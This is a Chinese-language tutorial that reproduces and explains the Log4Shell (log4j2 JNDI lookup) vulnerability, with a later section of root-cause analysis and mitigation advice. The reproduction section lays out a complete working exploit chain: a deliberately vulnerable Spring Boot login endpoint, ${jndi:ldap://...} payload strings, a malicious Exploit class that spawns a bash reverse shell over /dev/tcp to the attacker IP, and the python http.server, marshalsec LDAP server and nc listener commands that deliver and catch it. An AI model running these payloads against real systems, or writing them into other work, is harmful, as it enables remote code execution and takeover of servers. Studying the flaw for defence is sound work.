apach-log4j 漏洞复现及原理

一、背景

背景就不多介绍了,大多项目会在内部通过log4j2打印日志,此次漏洞由于log4j2为提供lookup功能导致的注入漏洞

二、漏洞复现

JDNI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性(使用的不是RMI Class Loading,而是URLClassLoader)。

所以不受RMI动态加载恶意类的 java版本应低于7u21、6u45,或者需要设置java.rmi.server.useCodebaseOnly=false系统属性的限制。具有更多的利用空间

由于漏洞依赖于配置trustURLCodebase配置,oracle在相应高版本java中修改了对应参数的值。本次使用的java版本为8u131。

image.png

a84asrc0pp

以下A为攻击方,B为靶场

B靶场服务端:

提供登陆服务,在登陆中打印用户名。我是在本地电脑启的springboot服务。

  • maven配置:用于复现漏洞建议log4j版本不高于2.15,若有高版本请排除
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.2</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>

<dependencies>
//需要排除starter-loggin,里面引用了log4j-2.17
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-jdbc</artifactId>
<exclusions>
<exclusion>
<artifactId>spring-boot-starter-logging</artifactId>
<groupId>org.springframework.boot</groupId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<artifactId>spring-boot-starter-logging</artifactId>
<groupId>org.springframework.boot</groupId>
</exclusion>
</exclusions>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.13.3</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.13.3</version>
</dependency>
</dependencies>
  • 接口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;

import java.util.Map;

@Controller
public class UserController {
private Logger logger= LogManager.getLogger(UserController.class);

@RequestMapping("/hello")
@ResponseBody
public String hello(){
logger.info("hello ");
// logger.error("${jndi:ldap://127.0.0.1:10086/Exploit}");

return "hello";
}

@RequestMapping(value = "/login",method = {RequestMethod.POST})
@ResponseBody
public String login(@RequestBody Map body){
// 根据java版本需要自行注释
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
// System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase","true");
//${jndi:ldap://ip:8899/Exploit}
//${java:os}
String username=body.get("username").toString();
String password=body.get("password").toString();
if(username.equals("admin") && password.equals("123456")){
logger.error("login:{},pass:{}",username,password);
return "success";
}
logger.error("login:{},pass:{}",username,password);
// logger.error("${jndi:ldap://127.0.0.1:1389/a}");

return "failed";
}

//可单独执行此main方法,同样能打开复现漏洞
private static final Logger log = LogManager.getLogger(UserController.class);
public static void main(String[] args) {
log.error("${jndi:ldap://172.22.1.7:8899/Exploit}");
}
}

A:172.22.1.7

前提:A(172.22.1.7)机上有java环境及python3环境,带有公网ip,服务端机器能ping通A(172.22.1.7),此次

  • 恶意类:由于我的服务方实在windows环境,因此是打开计算器,其他的可自行更改代码命令,如touch /tmp/123。 将该Exploit.java文件编译成Exploit.class文件放在A(172.22.1.7)上,如/root/log4j_poc/下。
1
2
3
4
5
6
7
8
9
10
11
12
//该恶意类为弹出windows计算器
import java.io.IOException;

public class Exploit {
public Exploit(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//该恶意类为反弹shell,获取到靶场的shell
public class Exploit {
public Exploit(){
try{
// 要执行的命令,自行修改ip及端口
String[] commands = {"bash","-c","exec 5<>/dev/tcp/172.22.1.7/12345;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}

前提:请确保A端(172.22.1.7)安全组防火墙放通端口!

  • 启动http服务:

在恶意类所在位置/root/log4j_poc/启动http服务:python3 -m http.server 8100

image-20211214130736532

通过该公网172.22.1.7:8100可访问该路径下的文件

  • 启动Ldap服务

需要本地编译出可用的jar包

git clone https://github.com/mbechler/marshalsec.git 【克隆项目到本地】

mvn clean package -DskipTests 【这条命令执行完之后会在target 目录生成我们需要的可执行文件:marshalsec-0.0.3-SNAPSHOT-all.jar

将该jar包放到A的/root/log4j_poc/目录下执行命令:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://172.22.1.7:8100/#Exploit 8899 【启动jndi ldap 监听】

恶意类的类名Exploit 会自动绑定URI,8899 是你开启Ldap服务的端口号,如果不加端口号,它的默认端口号为1389,

最终访问的ldap地址为ldap://ip:ldapport/ 即172.22.1.7:8899

image-20211214131257122

  • 反弹shell的话,请在A上(172.22.1.7)开启端口监听nc -lv 12345该端口与恶意类中的端口一致

访问靶场

  • 弹出计算器

此处通过postman发起login请求,如果能成功加载恶意类,即成功

image-20211214131548808

成功弹出计算器:

image-20211214131850678

可以在A(172.22.1.7)上看到服务端访问了A上的恶意类:

image-20211214131952366

image-20220811140409114

  • 反弹shell效果如下:

image-20220811092647060

三、原理

调用链

断点步进到调用链最开始的地方:

image-20211214145252338

image-20211214145710638

通过processLogEvent判定Event:

image-20211214152102828

image-20211214152653224

image-20211214152731493

image-20211214152833345

image-20211214153025300

在directEncodeEvent会尝试对Event进行解码操作:

image-20211214153257772

image-20211214154239543

对event格式化,总共有11条,其中name=Message这条将会触发远程代码执行

image-20211214162052016

format方法位于PatternFormatter类中

image-20211214162524237

该format方法由MessagePatternConverter类实现,是否满足${开头}结尾的逻辑

image-20211214163839783

调用到StrSubstitutor类的replace方法

image-20211214165653978

之后跳转到该类的核心方法:

image-20211214165955388

代码过长不贴图了,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
List<String> priorVariables) {
final StrMatcher prefixMatcher = getVariablePrefixMatcher();
final StrMatcher suffixMatcher = getVariableSuffixMatcher();
final char escape = getEscapeChar();
final StrMatcher valueDelimiterMatcher = getValueDelimiterMatcher();
final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables();

final boolean top = priorVariables == null;
boolean altered = false;
int lengthChange = 0;
//buf: login:${jndi:ldap://121.199.39.62:8899/Exploit},pass:123456
char[] chars = getChars(buf);
int bufEnd = offset + length;
int pos = offset;
while (pos < bufEnd) {
final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
if (startMatchLen == 0) {
pos++;
} else {
//匹配到${时进入此判断
// found variable start marker
if (pos > offset && chars[pos - 1] == escape) {
// escaped
buf.deleteCharAt(pos - 1);
chars = getChars(buf);
lengthChange--;
altered = true;
bufEnd--;
} else {
// find suffix
final int startPos = pos;
pos += startMatchLen;
int endMatchLen = 0;
int nestedVarCount = 0;
while (pos < bufEnd) {
if (substitutionInVariablesEnabled
&& (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
// found a nested variable start
nestedVarCount++;
pos += endMatchLen;
continue;
}
//查找匹配}结尾,从而截取出jndi:ldap://121.199.39.62:8899/Exploit
endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
if (endMatchLen == 0) {
pos++;
} else {
// found variable end marker
if (nestedVarCount == 0) {
//varNameExpr="jndi:ldap://121.199.39.62:8899/Exploit"
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder(varNameExpr);
substitute(event, bufName, 0, bufName.length());
varNameExpr = bufName.toString();
}
pos += endMatchLen;
final int endPos = pos;

String varName = varNameExpr;
String varDefaultValue = null;

if (valueDelimiterMatcher != null) {
final char [] varNameExprChars = varNameExpr.toCharArray();
int valueDelimiterMatchLen = 0;
for (int i = 0; i < varNameExprChars.length; i++) {
// if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
if (!substitutionInVariablesEnabled
&& prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
break;
}
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
}
}

// on the first call initialize priorVariables
if (priorVariables == null) {
priorVariables = new ArrayList<>();
priorVariables.add(new String(chars, offset, length + lengthChange));
}

// handle cyclic substitution
checkCyclicSubstitution(varName, priorVariables);
priorVariables.add(varName);

// resolve the variable
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
if (varValue == null) {
varValue = varDefaultValue;
}
if (varValue != null) {
// recursive replace
final int varLen = varValue.length();
buf.replace(startPos, endPos, varValue);
altered = true;
int change = substitute(event, buf, startPos, varLen, priorVariables);
change = change + (varLen - (endPos - startPos));
pos += change;
bufEnd += change;
lengthChange += change;
chars = getChars(buf); // in case buffer was altered
}

// remove variable from the cyclic stack
priorVariables.remove(priorVariables.size() - 1);
break;
}
nestedVarCount--;
pos += endMatchLen;
}
}
}
}
}
if (top) {
return altered ? 1 : 0;
}
return lengthChange;
}

在该处进入方法,lookup调用

image-20211215104255084

StrSubstitutor类中的该方法

//variableName="jndi:ldap://121.199.39.62:8899/Exploit"

image-20211215104356693

image-20211215111045230

通过jndiManager调用恶意类

image-20211215110032005

image-20211215110318690

整个调用过程如上:大致就是截取出”jndi:ldap://121.199.39.62:8899/Exploit”,调用lookup,从而执行了恶意类

  • log
  • processLogEvent
  • callAppender
  • tryCallAppender
  • directEncodeEvent
  • getLayout().encode
  • format
  • resolveVariable
  • lookup

影响版本

Apache Log4j 2.x <= 2.14.1

据悉,Apache Log4j2 日志远程代码执行漏洞因此也影响了所有 Minecraft 服务器。

【影响版本】

Apache log4j2 >= 2.0, <= 2.14.1

Minecraft 全版本所有系列服务端,除 Mohist 1.18 外。

安全建议

  1. 升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc1 版本,地址查看:点击此处。

  2. 升级已知受影响的应用及组件,如 spring-boot-strater-log4j2 / Apache Solr / Apache Flink / Apache Druid

建议同时采用如下临时措施进行漏洞防范:

  • 添加 jvm 启动参数-Dlog4j2.formatMsgNoLookups=true;

  • 在应用 classpath 下添加 log4j2.component.properties 配置文件,文件内容为 log4j2.formatMsgNoLookups=true;

  • JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本;

参考文章: